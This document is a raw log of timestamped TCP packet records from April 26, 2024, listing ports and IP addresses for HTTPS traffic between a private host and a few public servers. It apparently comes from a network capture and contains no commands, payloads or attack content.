Apr 26, 2024 09:59:19.699778080 CEST	443	49805	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:19.739646912 CEST	443	49806	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:19.739814997 CEST	49806	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:19.739837885 CEST	443	49806	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:19.741050959 CEST	443	49806	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:19.741358042 CEST	49806	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:19.741534948 CEST	443	49806	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:19.741553068 CEST	49806	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:19.741651058 CEST	443	49806	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:19.821034908 CEST	49806	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:19.995539904 CEST	443	49809	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:20.030272961 CEST	49809	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:20.030286074 CEST	443	49809	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:20.030662060 CEST	443	49809	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:20.038970947 CEST	49809	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:20.039050102 CEST	443	49809	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:20.039591074 CEST	49809	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:20.039622068 CEST	443	49809	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:20.139280081 CEST	443	49806	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:20.139353991 CEST	443	49806	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:20.139458895 CEST	49806	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:20.139477015 CEST	443	49806	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:20.139647007 CEST	443	49806	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:20.139724016 CEST	49806	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:20.140803099 CEST	49806	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:20.140816927 CEST	443	49806	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:20.200020075 CEST	443	49809	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:20.200079918 CEST	49809	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:20.200108051 CEST	443	49809	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:20.200129032 CEST	443	49809	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:20.200189114 CEST	49809	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:20.202845097 CEST	49809	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:20.202862024 CEST	443	49809	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:20.219173908 CEST	443	49805	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:20.219259024 CEST	443	49805	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:20.219305992 CEST	443	49805	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:20.219311953 CEST	49805	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:20.219351053 CEST	49805	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:20.219739914 CEST	49805	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:20.219754934 CEST	443	49805	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:20.223360062 CEST	49814	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:20.223428011 CEST	443	49814	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:20.223560095 CEST	49814	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:20.223750114 CEST	49814	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:20.223764896 CEST	443	49814	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:20.606996059 CEST	443	49814	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:20.607595921 CEST	49814	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:20.607613087 CEST	443	49814	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:20.607913971 CEST	443	49814	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:20.611943007 CEST	49814	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:20.612003088 CEST	443	49814	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:20.612179995 CEST	49814	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:20.612205029 CEST	443	49814	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:21.156780958 CEST	443	49814	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:21.156899929 CEST	443	49814	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:21.157021999 CEST	49814	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:21.157912016 CEST	49814	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:21.157946110 CEST	443	49814	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:21.163688898 CEST	49830	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:21.163734913 CEST	443	49830	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:21.163902998 CEST	49830	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:21.164074898 CEST	49830	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:21.164089918 CEST	443	49830	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:21.589770079 CEST	443	49830	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:21.590267897 CEST	49830	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:21.590290070 CEST	443	49830	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:21.590631962 CEST	443	49830	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:21.591195107 CEST	49830	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:21.591259956 CEST	443	49830	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:21.591384888 CEST	49830	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:21.591414928 CEST	443	49830	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:21.800117970 CEST	443	49830	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:21.800201893 CEST	49830	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:22.127300978 CEST	443	49830	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:22.127403975 CEST	443	49830	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:22.128046036 CEST	49830	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:22.237737894 CEST	49830	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:22.237776041 CEST	443	49830	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:22.251627922 CEST	49838	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:22.251677036 CEST	443	49838	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:22.251808882 CEST	49838	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:22.253072977 CEST	49838	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:22.253094912 CEST	443	49838	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:22.319458961 CEST	49839	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:22.319495916 CEST	443	49839	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:22.319834948 CEST	49839	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:22.321173906 CEST	49839	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:22.321191072 CEST	443	49839	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:22.635221004 CEST	443	49838	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:22.637690067 CEST	49838	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:22.637718916 CEST	443	49838	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:22.638021946 CEST	443	49838	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:22.639883995 CEST	49838	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:22.639961004 CEST	443	49838	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:22.640424967 CEST	49838	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:22.640459061 CEST	443	49838	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:22.640511036 CEST	49838	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:22.640531063 CEST	49838	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:22.640538931 CEST	443	49838	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:22.640564919 CEST	443	49838	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:22.646327972 CEST	49845	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:22.646357059 CEST	443	49845	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:22.646943092 CEST	49845	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:22.647401094 CEST	49845	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:22.647413015 CEST	443	49845	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:22.707204103 CEST	443	49839	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:22.740453005 CEST	49839	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:22.740472078 CEST	443	49839	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:22.740792990 CEST	443	49839	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:22.766002893 CEST	49839	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:22.766072035 CEST	443	49839	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:22.766546011 CEST	49839	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:22.766577005 CEST	443	49839	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:22.813986063 CEST	49846	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:22.814009905 CEST	443	49846	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:22.814068079 CEST	49846	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:22.814326048 CEST	49846	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:22.814337015 CEST	443	49846	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:22.930957079 CEST	443	49838	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:22.931039095 CEST	443	49838	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:22.931116104 CEST	49838	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:22.934978008 CEST	49838	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:22.935014963 CEST	443	49838	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:23.045945883 CEST	443	49845	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:23.046308041 CEST	49845	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:23.046339035 CEST	443	49845	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:23.047519922 CEST	443	49845	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:23.047954082 CEST	49845	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:23.048141003 CEST	49845	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:23.048193932 CEST	443	49845	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:23.053761005 CEST	443	49839	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:23.053952932 CEST	443	49839	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:23.054121017 CEST	49839	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:23.055716038 CEST	49839	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:23.055737019 CEST	443	49839	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:23.114067078 CEST	49748	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:23.149616957 CEST	49845	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:23.160118103 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:23.241835117 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:23.242187023 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:23.242207050 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:23.242264986 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:23.242300987 CEST	49748	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:23.242312908 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:23.242341042 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:23.242367983 CEST	49748	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:23.242409945 CEST	49748	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:23.242418051 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:23.242501020 CEST	49748	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:23.242666006 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:23.242706060 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:23.242753029 CEST	49748	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:23.242760897 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:23.242791891 CEST	49748	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:23.242842913 CEST	49748	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:23.371642113 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:23.371692896 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:23.371723890 CEST	49748	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:23.371747017 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:23.371762037 CEST	49748	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:23.371784925 CEST	49748	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:23.372293949 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:23.372349024 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:23.372370005 CEST	49748	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:23.372379065 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:23.372421980 CEST	49748	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:23.373255968 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:23.373303890 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:23.373323917 CEST	49748	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:23.373332024 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:23.373430967 CEST	49748	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:23.373437881 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:23.373486042 CEST	49748	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:23.389148951 CEST	49748	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:23.389164925 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:23.490768909 CEST	49854	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:23.490782976 CEST	443	49854	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:23.490874052 CEST	49854	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:23.491038084 CEST	49854	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:23.491050005 CEST	443	49854	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:23.514710903 CEST	443	49846	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:23.515137911 CEST	49846	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:23.515146017 CEST	443	49846	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:23.515630960 CEST	443	49846	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:23.515981913 CEST	49846	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:23.516058922 CEST	443	49846	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:23.516166925 CEST	49846	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:23.516180038 CEST	443	49846	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:23.622740030 CEST	49846	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:23.630266905 CEST	49855	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:23.630296946 CEST	443	49855	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:23.630352020 CEST	49855	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:23.630745888 CEST	49855	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:23.630763054 CEST	443	49855	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:23.678261995 CEST	443	49846	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:23.678297043 CEST	443	49846	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:23.678358078 CEST	49846	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:23.678368092 CEST	443	49846	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:23.678423882 CEST	49846	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:23.678621054 CEST	443	49846	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:23.678630114 CEST	443	49846	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:23.678666115 CEST	443	49846	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:23.678693056 CEST	49846	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:23.678714991 CEST	49846	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:23.678756952 CEST	443	49846	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:23.678807020 CEST	49846	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:23.679023981 CEST	443	49846	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:23.679075003 CEST	49846	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:23.679080009 CEST	443	49846	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:23.679100990 CEST	443	49846	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:23.679153919 CEST	49846	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:23.679972887 CEST	49846	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:23.679981947 CEST	443	49846	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:23.882170916 CEST	443	49854	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:23.882491112 CEST	49854	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:23.882503033 CEST	443	49854	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:23.883692026 CEST	443	49854	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:23.884809017 CEST	49854	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:23.884954929 CEST	49854	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:23.885025024 CEST	443	49854	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:23.948230028 CEST	49854	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:24.012361050 CEST	443	49855	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:24.012785912 CEST	49855	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:24.012806892 CEST	443	49855	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:24.013109922 CEST	443	49855	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:24.013405085 CEST	49855	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:24.013464928 CEST	443	49855	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:24.013637066 CEST	49855	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:24.013664961 CEST	443	49855	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:24.013786077 CEST	49855	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:24.013822079 CEST	443	49855	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:24.013942003 CEST	49855	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:24.013979912 CEST	443	49855	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:24.045100927 CEST	443	49854	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:24.045125961 CEST	443	49854	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:24.045170069 CEST	443	49854	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:24.045181036 CEST	49854	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:24.045294046 CEST	49854	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:24.045312881 CEST	443	49854	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:24.045347929 CEST	443	49854	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:24.045409918 CEST	49854	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:24.046077013 CEST	49854	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:24.046088934 CEST	443	49854	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:24.121176004 CEST	443	49845	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:24.121390104 CEST	443	49845	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:24.121521950 CEST	49845	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:24.123965979 CEST	49845	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:24.123987913 CEST	443	49845	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:24.145152092 CEST	49858	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:24.145181894 CEST	443	49858	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:24.145242929 CEST	49858	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:24.145637989 CEST	49858	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:24.145653009 CEST	443	49858	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:24.290797949 CEST	49861	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:24.290844917 CEST	443	49861	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:24.290983915 CEST	49861	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:24.292628050 CEST	49861	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:24.292651892 CEST	443	49861	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:24.428966045 CEST	443	49855	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:24.429033995 CEST	443	49855	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:24.429095030 CEST	49855	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:24.429476976 CEST	49855	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:24.429491997 CEST	443	49855	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:24.437772036 CEST	49867	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:24.437791109 CEST	443	49867	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:24.437899113 CEST	49867	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:24.438570023 CEST	49867	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:24.438586950 CEST	443	49867	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:24.537718058 CEST	443	49858	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:24.537971020 CEST	49858	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:24.537986040 CEST	443	49858	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:24.538466930 CEST	443	49858	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:24.538793087 CEST	49858	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:24.538870096 CEST	443	49858	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:24.538943052 CEST	49858	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:24.580123901 CEST	443	49858	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:24.717473984 CEST	443	49858	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:24.717547894 CEST	443	49858	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:24.717628956 CEST	443	49858	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:24.717638969 CEST	49858	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:24.717756987 CEST	49858	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:24.717813969 CEST	443	49861	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:24.718638897 CEST	49861	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:24.718656063 CEST	443	49861	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:24.718995094 CEST	49858	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:24.719013929 CEST	443	49858	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:24.719338894 CEST	443	49861	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:24.719697952 CEST	49861	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:24.719834089 CEST	443	49861	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:24.719918013 CEST	49861	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:24.719952106 CEST	443	49861	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:24.719970942 CEST	49861	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:24.720020056 CEST	49861	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:24.720036983 CEST	443	49861	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:24.720066071 CEST	49861	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:24.720072985 CEST	443	49861	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:24.720132113 CEST	49861	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:24.720158100 CEST	443	49861	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:24.720170975 CEST	49861	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:24.720186949 CEST	49861	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:24.720196962 CEST	49861	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:24.720271111 CEST	443	49861	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:24.864484072 CEST	443	49867	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:24.864680052 CEST	49867	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:24.864701986 CEST	443	49867	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:24.865991116 CEST	443	49867	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:24.866384983 CEST	49867	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:24.866503000 CEST	49867	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:24.866508007 CEST	443	49867	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:24.866565943 CEST	443	49867	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:24.915424109 CEST	49867	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:25.070800066 CEST	443	49867	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:25.071190119 CEST	443	49867	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:25.071248055 CEST	49867	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:25.073060036 CEST	49867	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:25.073074102 CEST	443	49867	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:25.181138992 CEST	443	49861	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:25.181241035 CEST	443	49861	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:25.181318045 CEST	49861	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:25.182229042 CEST	49861	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:25.182245970 CEST	443	49861	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:25.819130898 CEST	49877	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:25.819181919 CEST	443	49877	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:25.819278955 CEST	49877	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:25.819572926 CEST	49877	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:25.819601059 CEST	443	49877	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:26.211345911 CEST	443	49877	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:26.212649107 CEST	49877	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:26.212687969 CEST	443	49877	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:26.213727951 CEST	443	49877	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:26.213809967 CEST	49877	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:26.214978933 CEST	49877	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:26.215070963 CEST	443	49877	152.195.19.97	192.168.2.4
